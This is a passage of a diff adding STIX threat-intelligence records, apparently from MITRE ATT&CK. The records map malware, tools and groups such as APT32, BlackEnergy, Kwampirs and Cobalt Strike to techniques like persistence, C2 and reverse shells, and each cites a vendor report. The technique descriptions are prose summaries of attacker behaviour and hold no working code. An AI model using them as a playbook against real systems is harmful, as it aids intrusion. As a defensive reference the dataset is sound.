"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-01-30T18:08:51.128Z", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) can retrieve an additional payload from its C2 server. [JHUHUGIT](https://attack.mitre.org/software/S0044) has a command to download files to the victim\u2019s machine.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f39d9e4d-b4f9-4c12-aa8e-a44f8550b57f", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "modified": "2019-02-01T14:39:36.254Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has conducted port scans on a host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47e4d006-2685-4628-a46b-f6d9066f3585", + "external_references": [ + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.713Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has added JavaScript to victim websites to download additional frameworks that profile and compromise website visitors.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93f1726f-f172-4705-a13a-d5adaeb4e91b", + "external_references": [ + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ], + "modified": "2019-07-17T13:11:38.035Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used WMI for persistence.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b2cd244-a02f-4b76-85d9-a429a298f016", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.291Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) component KillDisk is capable of deleting Windows Event Logs.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c9dca829-6417-4121-9462-650ac852b8c2", + "external_references": [ + { + "source_name": "ESEST Black Energy Jan 2016", + "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/" + } + ], + "modified": "2019-06-24T17:08:51.764Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hikit](https://attack.mitre.org/software/S0009) supports peer connections.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) disables the Windows firewall before binding to a port.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--279654f5-dece-48db-bc9a-93242b62433c", + "external_references": [ + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) creates a new service named WmiApSrvEx to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56c41e3f-3d8f-4f36-9885-955952e700db", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:59:47.296Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--01b924d7-42dd-412f-a9af-cabcb46512ea", + "external_references": [ + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + }, + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "relationship_type": "uses", + "target_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used PowerShell on victim systems to download and run payloads after exploitation.", + "type": "relationship", + "created": "2017-05-31T21:33:27.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ba1b953d-08ce-4b4b-924e-92556cdf1d90", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.450Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) gathers informatin on the IP forwarding table, MAC address, and network SSID.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e860d9b-29fd-4acf-b624-076a0c60b9df", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a", + "external_references": [ + { + "source_name": "Symantec Backdoor.Nidiran", + "description": "Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99" + }, + { + "source_name": "Microsoft SAM", + "description": "Microsoft. (2006, October 30). How to use the SysKey utility to secure the Windows Security Accounts Manager database. Retrieved August 3, 2016.", + "url": "https://support.microsoft.com/en-us/kb/310105" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Group5](https://attack.mitre.org/groups/G0043) disguised its malicious binaries with several layers of obfuscation, including encrypting the files.", + "type": "relationship", + "created": "2017-05-31T21:33:27.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4", + "external_references": [ + { + "source_name": "Citizen Lab Group5", + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "modified": "2019-07-25T17:52:06.574Z", + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) injects its malware variant, [ROKRAT](https://attack.mitre.org/software/S0240), into the cmd.exe process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--86f8bebc-a5fc-43d7-9af0-0024e07ca8d1", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:16.035Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) stores a configuration files in the startup directory to automatically execute commands in order to persist across reboots.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c12e724-5f3e-4209-961e-481ec22a5ab6", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can scan local network for open SMB.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f25505f6-dbd0-4d7b-8e8c-b3885f206cbf", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve screenshots from compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e93c8f61-b2c9-4877-8c2c-12bd37aa5a87", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:52.990Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use Window admin shares (C$ and ADMIN$) for lateral movement.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dac7355a-9d13-4155-a053-d0c18fe92f53", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.331Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) downloads additional files that are base64-encoded and encrypted with another cipher.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5550ef5e-a34c-4055-b7be-dd41d76ef7b1", + "external_references": [ + { + "source_name": "Symantec Security Center Trojan.Kwampirs", + "description": "Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. Retrieved May 10, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2016-081923-2700-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:11:04.791Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4968f45-d06b-4843-8f72-6e08beb94cab", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. 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Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover remote systems on a local network using the net view and net view /DOMAIN commands.", + "type": "relationship", + "created": "2017-05-31T21:33:27.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-14T21:04:44.998Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) executes a batch script to store discovery information in %TEMP%\\info.dat and then uploads the temporarily file to the remote C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--228e71e2-0e76-4020-a850-7a568412259b", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) communicates via ICMP for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fce7fac2-91da-4903-95dc-fb54650c0859", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used RAR to compress, encrypt, and password-protect files prior to exfiltration.", + "type": "relationship", + "created": "2017-05-31T21:33:27.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a73f9ed3-7f51-4709-a63f-f5ef59aa25cf", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.116Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) searches for network drives and removable media and duplicates itself onto them.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used [PowerSploit](https://attack.mitre.org/software/S0194) to download payloads, run a reverse shell, and execute malware on the victim's machine.", + "type": "relationship", + "created": "2017-05-31T21:33:27.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d6e43621-ca4a-475f-b81c-037a0878728b", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.885Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:32:44.912Z", + "type": "relationship", + "id": "relationship--5ff5c840-7064-4d5d-bfbc-0287efd4dd39", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--af093bc8-7b59-4e2a-9da8-8e839b4c50c6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d1adaa26-90e3-4a7f-af07-577b3003be4c", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and 